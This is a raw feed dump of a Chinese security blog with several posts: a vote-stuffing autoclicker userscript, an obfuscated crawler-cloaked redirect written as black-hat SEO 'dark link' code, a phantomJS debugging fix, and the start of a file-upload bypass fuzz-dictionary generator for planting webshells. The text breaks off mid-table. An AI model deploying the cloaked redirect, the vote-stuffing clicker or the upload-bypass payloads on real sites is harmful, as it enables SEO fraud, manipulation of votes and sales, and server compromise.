==/UserScript==</span></span><br><span class="line"></span><br><span class="line">(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"><span class="meta"> 'use strict'</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*定位要点击的页面元素*/</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getTargetByTAV</span>(<span class="params">t_tag,t_attr,t_value</span>)</span>{</span><br><span class="line"><span class="keyword">var</span> target = <span class="built_in">document</span>.getElementsByTagName(t_tag);</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i <target.length;i++){</span><br><span class="line"><span class="keyword">if</span>(target[i].getAttribute(t_attr) == t_value){</span><br><span class="line"><span class="keyword">return</span> target[i];</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// code refence: https://www.cnblogs.com/phpyangbo/p/6129868.html</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">RandomNum</span>(<span class="params">Min, Max</span>) </span>{</span><br><span class="line"> <span class="keyword">var</span> Range = Max - Min;</span><br><span class="line"> <span class="keyword">var</span> Rand = <span class="built_in">Math</span>.random();</span><br><span class="line"> <span class="keyword">var</span> num = Min + <span class="built_in">Math</span>.floor(Rand * Range); <span class="comment">//舍去</span></span><br><span class="line"> <span class="keyword">return</span> num;</span><br><span class="line">}</span><br><span class="line"><span class="comment">/*随机获取一个要点击的页面元素*/</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getTargetByRandom</span>(<span class="params"></span>)</span>{</span><br><span class="line"><span class="keyword">var</span> target = <span class="built_in">document</span>.getElementsByName(<span class="string">"voteProjectId"</span>);</span><br><span class="line"><span class="keyword">var</span> n = RandomNum(<span class="number">0</span>,target.length);</span><br><span class="line"><span class="keyword">return</span> target[n];</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> btn;</span><br><span class="line">btn = getTargetByTAV(<span class="string">"button"</span>,<span class="string">"value"</span>,<span class="string">"15434938390848023"</span>);</span><br><span class="line"><span class="keyword">if</span>(btn === <span class="literal">undefined</span>){</span><br><span class="line"> btn = getTargetByRandom();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">setInterval(<span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span> (btn !== <span class="literal">undefined</span>) {</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">"[+] click obj: "</span> + btn.innerHTML);</span><br><span class="line"> btn.click();</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="built_in">console</span>.log(<span class="string">'[-] click obj is undefined!'</span>);</span><br><span class="line"> }</span><br><span class="line">},<span class="number">3000</span>);</span><br><span class="line"></span><br><span class="line">})();</span><br></pre></td></tr></table></figure><p><img src="/articles/2019/tampermonkey-script-autoclicker/show.gif" alt="最终效果"></p><h2 id="五、延伸"><a href="#五、延伸" class="headerlink" title="五、延伸"></a>五、延伸</h2><p>刚才是一个具体场景下的代码实现。但是我思考了下,其实我们生活中还有很多场景,可以通过快速重复点击页面元素来解决。比如春节的刷票,大学的抢课,双11的抢购等等。也许有人有疑问,使用burp多次重放数据包不就可以了么?其实这样不一定行,因为请求可能需要提交token或者其他需要浏览器执行js获取到的数据。</p><p>于是我改基于以上代码,编写了一个适合更多场景下快速重复点击页面元素的油猴脚本。该脚本已经在油猴的在线脚本库Greasy Fork发布了,想看最新源码或者使用的朋友<a href="https://greasyfork.org/zh-CN/scripts/376507-autoclicker" target="_blank" rel="noopener">请点击这里</a>。</p><p>该脚本提供了通过以下几种方式获取需要点击的页面元素:</p><table><thead><tr><th align="center">序号</th><th align="left">定位方式</th><th align="left">描述</th></tr></thead><tbody><tr><td align="center">1</td><td align="left">id</td><td align="left">提供页面要点击元素的id,赋值给id变量即可</td></tr><tr><td align="center">2</td><td align="left">标签名,属性,属性值</td><td align="left">提供页面要点击元素的标签名,属性,属性值分别给tag,attr,value即可</td></tr><tr><td align="center">3</td><td align="left">xpath</td><td align="left">提供页面要点击元素的xpath,赋值给str_xpath变量即可</td></tr><tr><td align="center">4</td><td align="left">selector</td><td align="left">提供页面要点击元素的selector,赋值给str_qs变量即可</td></tr><tr><td align="center">5</td><td align="left">自定义定位函数</td><td align="left">以上方式无法定位到目标元素,可以将isCustom变量赋值为true,同时编写getTargetByCustom函数的函数体,返回定位成功的元素即可</td></tr></tbody></table><p>具体使用方法请移步<a href="https://greasyfork.org/zh-CN/scripts/376507-autoclicker" target="_blank" rel="noopener">Greasy Fork</a>。</p><h2 id="六、最后"><a href="#六、最后" class="headerlink" title="六、最后"></a>六、最后</h2><p>最后给大家留一个思考: <strong>该如何权衡我们脚本点击提交的速度和成功率?</strong></p><ol><li>如果我们的脚本点击按钮过快,可能表单某些必要的值(比如token,需要每次发送ajax请求来更新)还没有被加载。从而导致提交失败。</li><li>如果等待所有资源都加载完成,然后脚本在进行点击操作,这样又太慢展现不了脚本的优势(比如抢购场景下)。</li></ol><p>考虑这些特殊情况,会让我们的脚本更加壮硕,欢迎留言讨论。</p>]]></content>
<categories>
<category> 小玩具 </category>
</categories>
<tags>
<tag> 油猴脚本 </tag>
</tags>
</entry>
<entry>
<title>一个有趣的暗链</title>
<link href="/articles/2019/an-interesting-dark-chain/"/>
<url>/articles/2019/an-interesting-dark-chain/</url>
<content type="html"><![CDATA[<p>今天吃完午饭,无意听到同事说起了以前查网站暗链的事。他说有一种暗链其实隐藏得挺深的,正常去访问是不会触发,而当百度等搜索引擎的爬虫去爬取该页面时,就会进行跳转。从而将爬虫引入到黑客指定的站点,来提升指定站点的排名。</p><p>思考了下,感觉比那些直接简单粗暴直接跳转要妙多了。饭后去网上找了下,没有找到相关代码。打算自己写一个(可能真实的案例不是这么写的)。</p><h2 id="一、代码实现"><a href="#一、代码实现" class="headerlink" title="一、代码实现"></a>一、代码实现</h2><p>下面我们尝试从黑帽SEO的角度来思考问题和编写代码。我实现的方式是通过js判断ua,来识别是否是百度爬虫,从而决定是否跳转。代码很简单,具体如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><script></span><br><span class="line"><span class="built_in">window</span>.onload = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{</span><br><span class="line"><span class="keyword">var</span> keyword = <span class="string">"baidu"</span>; <span class="comment">//关键字</span></span><br><span class="line"><span class="keyword">var</span> my_site = <span class="string">"http://gv7.me"</span>; <span class="comment">//要跳转到的网站</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> ua = navigator.userAgent;</span><br><span class="line"><span class="keyword">if</span>(ua.toLowerCase().indexOf(keyword) >= <span class="number">0</span>){ <span class="comment">//判断ua是否是百度爬虫</span></span><br><span class="line"><span class="built_in">window</span>.location.href=my_site;</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"><<span class="regexp">/script></span></span><br></pre></td></tr></table></figure><p>为了加强隐僻性,我们对以上代码进行混淆和压缩。</p><p><img src="/articles/2019/an-interesting-dark-chain/obfuscating-compressed-js-code.png" alt></p><p>最终测试页面代码为:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">html</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">title</span>></span>test for hack seo<span class="tag"></<span class="name">title</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">"Content-Type"</span> <span class="attr">content</span>=<span class="string">"text/html; charset=utf-8"</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">head</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">body</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">h1</span>></span>test for hack seo!<span class="tag"></<span class="name">h1</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">body</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">script</span>></span></span><br><span class="line"><span class="javascript"><span class="built_in">eval</span>(<span class="function"><span class="keyword">function</span>(<span class="params">p,a,c,k,e,d</span>)</span>{e=<span class="function"><span class="keyword">function</span>(<span class="params">c</span>)</span>{<span class="keyword">return</span>(c<a?<span class="string">""</span>:e(<span class="built_in">parseInt</span>(c/a)))+((c=c%a)><span class="number">35</span>?<span class="built_in">String</span>.fromCharCode(c+<span class="number">29</span>):c.toString(<span class="number">36</span>))};<span class="keyword">if</span>(!<span class="string">''</span>.replace(<span class="regexp">/^/</span>,<span class="built_in">String</span>)){<span class="keyword">while</span>(c--)d[e(c)]=k[c]||e(c);k=[<span class="function"><span class="keyword">function</span>(<span class="params">e</span>)</span>{<span class="keyword">return</span> d[e]}];e=<span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>{<span class="keyword">return</span><span class="string">'\\w+'</span>};c=<span class="number">1</span>;};<span class="keyword">while</span>(c--)<span class="keyword">if</span>(k[c])p=p.replace(<span class="keyword">new</span> <span class="built_in">RegExp</span>(<span class="string">'\\b'</span>+e(c)+<span class="string">'\\b'</span>,<span class="string">'g'</span>),k[c]);<span class="keyword">return</span> p;}(<span class="string">'5.8=6(){1 2="9";1 4="a://b.7";1 3=c.h;g(3.i().d(2)>=0){5.e.f=4}}'</span>,<span class="number">19</span>,<span class="number">19</span>,<span class="string">'|var|keyword|ua|my_site|window|function|me|onload|baidu|http|gv7|navigator|indexOf|location|href|if|userAgent|toLowerCase'</span>.split(<span class="string">'|'</span>),<span class="number">0</span>,{}))</span></span><br><span class="line"> <span class="tag"></<span class="name">script</span>></span></span><br><span class="line"><span class="tag"></<span class="name">html</span>></span></span><br></pre></td></tr></table></figure><h2 id="二、演示效果"><a href="#二、演示效果" class="headerlink" title="二、演示效果"></a>二、演示效果</h2><p>演示前,我们先为chrome浏览器添加一个百度爬虫的UA,以便模拟百度爬虫流量网页。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)</span><br></pre></td></tr></table></figure><p><img src="/articles/2019/an-interesting-dark-chain/chrome-setting.png" alt="为chrome浏览器添加一个百度爬虫的UA。"></p><p><strong>注意:使用burp或者chrome插件<code>User-Agent Switcher Options</code>修改的UA是无效的,因为它们只是修改了浏览器发送的数据包中的UA,而没有修改浏览器真正的UA。</strong></p><p>通过测试发现,在使用默认ua访问时,页面没有跳转。切换UA后成功跳转到我的博客。</p><p><img src="/articles/2019/an-interesting-dark-chain/show.gif" alt="效果展示"></p><h2 id="三、总结"><a href="#三、总结" class="headerlink" title="三、总结"></a>三、总结</h2><p>写这篇文章并非鼓励大家去挂暗链,而是从攻防的角度,了解一些挂暗链的思路。使得在对抗黑帽SEO时能多些思路。比如就可以将浏览器UA修改为百度等搜索引擎爬虫的UA,尝试找出隐藏的暗链。</p><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h2><ul><li><a href="https://blog.csdn.net/wangweiscsdn/article/details/73182320" target="_blank" rel="noopener">用js如何获取UA(user Agent)用户代理?</a></li><li><a href="https://blog.csdn.net/dengpeng0419/article/details/53591525" target="_blank" rel="noopener">【web开发 模拟ua调试】修改chrome浏览器的user agent</a></li><li><a href="https://muzi.kim/post/65.html" target="_blank" rel="noopener">对比中招网页暗链挂马,总结10种有趣的暗链代码并解析</a></li></ul>]]></content>
</entry>
<entry>
<title>解决jsEncrypter脚本错误代码不报错问题</title>
<link href="/articles/2018/solve-jsEncrypter-script-error-code-is-not-wrong/"/>
<url>/articles/2018/solve-jsEncrypter-script-error-code-is-not-wrong/</url>
<content type="html"><![CDATA[<p> 用过我的<a href="https://github.com/c0ny1/jsEncrypter" target="_blank" rel="noopener">jsEncrypter</a>插件的朋友,可能会有一个遇到一个大坑: <strong>当编写前端加密调用脚本代码存在错误时,phantomJS不会报错,而且会进入假死,不能继续执行的状态。</strong></p><p> 如果前端的加密逻辑比较简单还好,当前端加密涉及多个js文件,逻辑比较复杂时,编写调用代码存在错误在所难免。这时如果phantomJS运行该脚本不报错提示就特别难受了,修改bug将变得很苦逼。这个问题在很久之前我已经能隐约感觉到了,而上周这个坑大大影响到了我的渗透测试,不得已只能百忙之中挤点时间来填坑。</p><h2 id="0x01-解决方案一:编码调式"><a href="#0x01-解决方案一:编码调式" class="headerlink" title="0x01 解决方案一:编码调式"></a>0x01 解决方案一:编码调式</h2><p> 在上周的渗透测试中,我遇到了一个前端加密传输的登录表单,涉及3个js文件,逻辑比较复杂。我编写前端加密调用脚本存在错误,phantomJS运行该脚本不报错不退出退出也不继续执行,我完全不知道出错在哪里。</p><p> 当时是通过<code>console.log()</code>函数进行调式的。一个值一个值的使用console.log()进行输出,在每个关键的判断语句内使用<code>console.log('run to here')</code>来确定逻辑走到哪里了。经过反复编码调式,最终锁定了错误位置和原因,原来是有一个值没有进行初始化。这个过程很费时间和精力orz!</p><h2 id="0x02-解决方案二:升级服务端脚本"><a href="#0x02-解决方案二:升级服务端脚本" class="headerlink" title="0x02 解决方案二:升级服务端脚本"></a>0x02 解决方案二:升级服务端脚本</h2><p> 今晚有点时间,思考了下编码调式虽然能解决问题,但升级服务端脚本,使其支持运行错误代码时能提示出错误信息以及涉及的代码行数才算治标治本。我在重新查看了<code>phantomJS</code>的官方文档后,给项目的<code>phantom_server.js</code>脚本添加了以下错误捕捉的代码,完整代码已经更新至github项目了。</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span>{</span><br><span class="line">...</span><br><span class="line">}<span class="keyword">catch</span>(e){</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'\n-----------------Error Info--------------------'</span>)</span><br><span class="line"><span class="keyword">var</span> fullMessage = <span class="string">"Message: "</span>+e.toString() + <span class="string">':'</span>+ e.line;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> p <span class="keyword">in</span> e) {</span><br><span class="line">fullMessage += <span class="string">"\n"</span> + p.toUpperCase() + <span class="string">": "</span> + e[p];</span><br><span class="line">} </span><br><span class="line"><span class="built_in">console</span>.log(fullMessage);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'---------------------------------------------'</span>)</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">'[*] phantomJS exit!'</span>)</span><br><span class="line">phantom.exit();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我使用升级后的脚本模板,重新加入上周编写错误的前端加密调用代码。这次完美的报错了,提示如下:</p><p><img src="/articles/2018/solve-jsEncrypter-script-error-code-is-not-wrong/phantomjs_server_error_info.png" alt="图1-phantomjs_server.js报错"></p><p>这里简单跟大家说明下报错信息的含义。</p><p>Message为错误消息,内容如下。大概知道错误为类型错误,<code>a.pad</code>未定义。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TypeError: undefined is not an object (evaluating 'a.pad')</span><br></pre></td></tr></table></figure><p>STACK为堆栈跟踪,根据堆栈跟踪信息可以知道以下信息:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">8.错误在函数_doFinalize()|文件aes.js 28行</span><br><span class="line">7.错误在函数finalize()|文件aes.js 25行</span><br><span class="line">6.错误在函数encrypt()|文件aes.js 29行</span><br><span class="line">5.错误在函数encrypt()|文件aes.js 25行</span><br><span class="line">4.错误在函数encrypt()|文件aes.js 25行</span><br><span class="line">3.错误在函数encrypt()|文件encrypt.js 27行</span><br><span class="line">2.错误在函数js_encrypt()|文件phantomjs_server.js 20行</span><br><span class="line">1.错误在phantomjs_server.js 38行</span><br></pre></td></tr></table></figure><p> 这样就跟我们的编程语言当中的报错堆栈跟踪很类似了。我们根据报错信息,然后顺着报错堆栈跟踪链很快就能定位到错误位置和原因了XD。</p><p>填坑先到这里吧,也不早了,晚安!</p><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h2><ul><li><a href="https://thief.one/2017/03/31/Phantomjs%E6%AD%A3%E7%A1%AE%E6%89%93%E5%BC%80%E6%96%B9%E5%BC%8F/" target="_blank" rel="noopener">【phantomjs系列】Phantomjs正确打开方式</a></li><li><a href="https://stackoverflow.com/questions/31322029/phantomjs-error-handling" target="_blank" rel="noopener">PhantomJS error handling</a></li></ul>]]></content>
<categories>
<category> 编程开发 </category>
</categories>
<tags>
<tag> jsEncrypter </tag>
</tags>
</entry>
<entry>
<title>构造优质上传漏洞fuzz字典</title>
<link href="/articles/2018/make-upload-vul-fuzz-dic/"/>
<url>/articles/2018/make-upload-vul-fuzz-dic/</url>
<content type="html"><![CDATA[<p>上传漏洞的利用姿势很多,同时也会因为语言,中间件,操作系统的不同,利用也不同。比如有:<code>大小写混合</code>,<code>.htaccess</code>,<code>解析漏洞</code>,<code>00截断</code>,<code>.绕过</code>,<code>空格绕过</code>,<code>::$DATA绕过</code>,以及多种姿势的组合等等。当遇到一个上传点,如何全面的利用以上姿势测试一遍,并快速发现可以成功上传webshell的姿势?</p><p><strong>方案一:一个一个手工测试</strong></p><p>手工把所有姿势测试一遍,先不说花费大量时间,还很可能会遗漏掉某些姿势而导致无法利用成功。</p><p><strong>方案二:fuzz</strong></p><p>在fuzz时我们往往会给一个输入点喂入大量特殊的数据。这个特殊的数据可能随机的,毫无规律的,甚至我们都无法预知的。但我思考了一下,这样的fuzz方式只是适合在本地fuzz 0day漏洞,并不适合通过fuzz在线网站的上传点,快速找出可以成功上传webshell的payload,因为时间成本排在哪里。</p><p>通过思考,我们可以知道如果能根据上传漏洞的场景(后端语言,中间件,操作系统)来生成优质的fuzz字典,然后使用该字典进行fuzz,就能消除以上两个解决方案的弊端!</p><h2 id="一、构想"><a href="#一、构想" class="headerlink" title="一、构想"></a>一、构想</h2><p>在动手之前我们来思考下上传漏洞跟那些因素有关:</p><p><strong>一、可解析的后缀,也就是该语言有多个可解析的后缀,比如php语言可解析的后缀为php,php2,php3等等</strong></p><p><strong>二、大小写混合,如果系统过滤不严,可能大小写可以绕过。</strong></p><p><strong>三、中间件,每款中间件基本都解析漏洞,比如iis就可以把xxx.asp;.jpg当asp来执行。</strong></p><p><strong>四、系统特性,特别是Windows的后缀加点(.),加空格,加::$DATA可以绕过目标系统。</strong></p><p><strong>五、语言漏洞,流行的三种脚本语言基本都存在00截断漏洞。</strong></p><p><strong>六、双后缀,这个与系统和中间件无关,偶尔会存在于代码逻辑之中。</strong></p><p>整理以上思考,我们把生成字典的规则梳理为以下几条</p><ol><li>可解析的后缀+大小写混合</li><li>可解析的后缀+大小写混合+中间件漏洞</li><li>.htaccess + 大小写混合</li><li>可解析的后缀+大小写混合+系统特性</li><li>可解析的后缀+大小写混合+语言漏洞</li><li>可解析的后缀+大小写混合+双后缀</li></ol><p>下面我们根据上面的构想,来分析每一方面的细节,并使用代码来实现。</p><h2 id="二、可解析后缀"><a href="#二、可解析后缀" class="headerlink" title="二、可解析后缀"></a>二、可解析后缀</h2><p>其实很多语言都这样,有多个可以解析后缀。当目标站点采用黑名单时,往往包含不全。以下我收集相对比较全面的可解析后缀,为后面生成字典做材料。</p><table><thead><tr><th align="left">语言</th><th align="left">可解析后缀</th></tr></thead><tbody><tr><td align="left">asp/aspx</td><td align="left">asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr</td></tr><tr><td align="left">php</td><td align="left">php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml</td></tr><tr><td align="left">jsp</td><td align="left">jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml</td></tr></tbody></table><h2 id="三、大小写混合"><a href="#三、大小写混合" class="headerlink" title="三、大小写混合"></a>三、大小写混合</h2><p>有些网站过滤比较简单,只是过滤了脚本后缀,但是没有对后缀进行统一转换为小写,在进行判断。这就纯在一个大小写问题。这里我们可以编写两个函数,一个函数是传入一个字符串,函数返回该字符串所有大小写组合的可能,第二个函数是基于第一个函数,把一个list的传入返回一个list内所有字符的所有大小写组合的可能。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## 字符串大小写混合,返回字符串所有大写可能</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">str_case_mixing</span><span class="params">(word)</span>:</span></span><br><span class="line">str_list = []</span><br><span class="line">word = word.lower()</span><br><span class="line">tempWord = copy.deepcopy(word)</span><br><span class="line">plist = []</span><br><span class="line">redict = {}</span><br><span class="line"><span class="keyword">for</span> char <span class="keyword">in</span> range( len( tempWord ) ):</span><br><span class="line">char = word[char]</span><br><span class="line">plist.append(char) </span><br><span class="line">num = len( plist )</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range( num ):</span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> range( i , num + <span class="number">1</span> ):</span><br><span class="line">sContent = <span class="string">''</span>.join( plist[<span class="number">0</span>:i] )</span><br><span class="line">mContent = <span class="string">''</span>.join( plist[i:j] )</span><br><span class="line">mContent = mContent.upper()</span><br><span class="line">eContent = <span class="string">''</span>.join( plist[j:] )</span><br><span class="line">content = <span class="string">'''%s%s%s'''</span> % (sContent,mContent,eContent)</span><br><span class="line">redict[content] = <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> redict.keys():</span><br><span class="line">str_list.append(i)</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> str_list</span><br><span class="line"></span><br><span class="line"><span class="comment">## list大小写混合</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">list_case_mixing</span><span class="params">(li)</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> l <span class="keyword">in</span> li:</span><br><span class="line">res += uperTest(l)</span><br><span class="line"><span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><h2 id="四、中间件的漏洞"><a href="#四、中间件的漏洞" class="headerlink" title="四、中间件的漏洞"></a>四、中间件的漏洞</h2><p>这块是比较复杂的一块。首先我们先来梳理下</p><h3 id="4-1-iis"><a href="#4-1-iis" class="headerlink" title="4.1 iis"></a>4.1 iis</h3><p>iis一共有三个解析漏洞:</p><p>1.IIS6.0文件解析 xx.asp;.jpg<br>2.IIS6.0目录解析 xx.asp/1.jpg<br>3.IIS 7.0畸形解析 xxx.jpg/x.asp</p><p>由于2和3和上传的文件名无关,故我们只根据1来生成fuzz字典</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">iis_suffix_creater</span><span class="params">(suffix)</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> l <span class="keyword">in</span> suffix:</span><br><span class="line">str =<span class="string">'%s;.%s'</span> % (l,allow_suffix)</span><br><span class="line">res.append(str)</span><br><span class="line"><span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><h3 id="4-2-apache"><a href="#4-2-apache" class="headerlink" title="4.2 apache"></a>4.2 apache</h3><p>apache相关的解析漏洞有两个:</p><ol><li>%0a(CVE-2017-15715)</li><li>未知后缀 test.php.xxx</li></ol><p>根据以上构造<code>apache_suffix_builder</code>函数生成规则</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">apache_suffix_creater</span><span class="params">(suffix)</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> l <span class="keyword">in</span> suffix:</span><br><span class="line">str = <span class="string">'%s.xxx'</span> % l</span><br><span class="line">res.append(str)</span><br><span class="line">str = <span class="string">'%s%s'</span> % (l,urllib.unquote(<span class="string">'%0a'</span>)) <span class="comment">#CVE-2017-15715</span></span><br><span class="line">res.append(str)</span><br><span class="line"><span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><h3 id="4-3-nginx"><a href="#4-3-nginx" class="headerlink" title="4.3 nginx"></a>4.3 nginx</h3><p>nginx解析漏洞有三个:</p><ol><li>访问连接加/xxx.php test.jpg/xxx.php</li><li>畸形解析漏洞 test.jpg%00xxx.php</li><li>CVE-2013-4547 test.jpg(非编码空格)\0x.php</li></ol><p>nginx的解析漏洞,由于和上传的文件名无关,故生成字典无需考虑。</p><h3 id="4-4-tomcat"><a href="#4-4-tomcat" class="headerlink" title="4.4 tomcat"></a>4.4 tomcat</h3><p>tomcat用于上传绕过的有三种,不过限制在windows操作系统下。</p><ol><li>xxx.jsp/</li><li>xxx.jsp%20</li><li>xxx.jsp::$DATA</li></ol><p>根据以上规则生成字典对应的代码为:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">win_tomcat = [<span class="string">'%20'</span>,<span class="string">'::$DATA'</span>,<span class="string">'/'</span>]</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">tomcat_suffix_creater</span><span class="params">(suffix)</span>:</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> l <span class="keyword">in</span> suffix:</span><br><span class="line"><span class="keyword">for</span> t <span class="keyword">in</span> win_tomcat:</span><br><span class="line">str = <span class="string">'%s%s'</span> % (l,t)</span><br><span class="line">res.append(str)</span><br><span class="line"><span class="keyword">return</span> res</span><br></pre></td></tr></table></figure><p>如果确定中间件为apache,可以加入.htaccess。同时如果操作系统还为windows,我们可以大小写混合。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (middleware == <span class="string">'apache'</span> <span class="keyword">or</span> middleware == <span class="string">'all'</span>) <span class="keyword">and</span> (os == <span class="string">'win'</span> <span class="keyword">or</span> os == <span class="string">'all'</span>):</span><br><span class="line">htaccess_suffix = uperTest(<span class="string">".htaccess"</span>)</span><br><span class="line"><span class="keyword">elif</span> (middleware == <span class="string">'apache'</span> <span class="keyword">or</span> middleware == <span class="string">'all'</span>) <span class="keyword">and</span> os == <span class="string">'linux'</span>:</span><br><span class="line">htaccess_suffix = [<span class="string">'.htaccess'</span>]</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">htaccess_suffix = []</span><br></pre></td></tr></table></figure><h3 id="4-5-语言,中间件与操作系统的关系"><a href="#4-5-语言,中间件与操作系统的关系" class="headerlink" title="4.5 语言,中间件与操作系统的关系"></a>4.5 语言,中间件与操作系统的关系</h3><p>以上我们根据每个中间件的漏洞,编写了对应的fuzz字典生成函数。在最终生成字典时,我们还要考虑中间件可以运行那些语言,以及它们与平台的关系。</p><table><thead><tr><th align="left">语言</th><th align="center">IIS</th><th align="center">Apache</th><th align="center">Tomcat</th><th align="center">Window</th><th align="center">Linux</th></tr></thead><tbody><tr><td align="left">asp/aspx</td><td align="center">√</td><td align="center">√</td><td align="center">×</td><td align="center">√</td><td align="center">√</td></tr><tr><td align="left">php</td><td align="center">√</td><td align="center">√</td><td align="center">√</td><td align="center">√</td><td align="center">√</td></tr><tr><td align="left">jsp</td><td align="center">√</td><td align="center">×</td><td align="center">√</td><td align="center">√</td><td 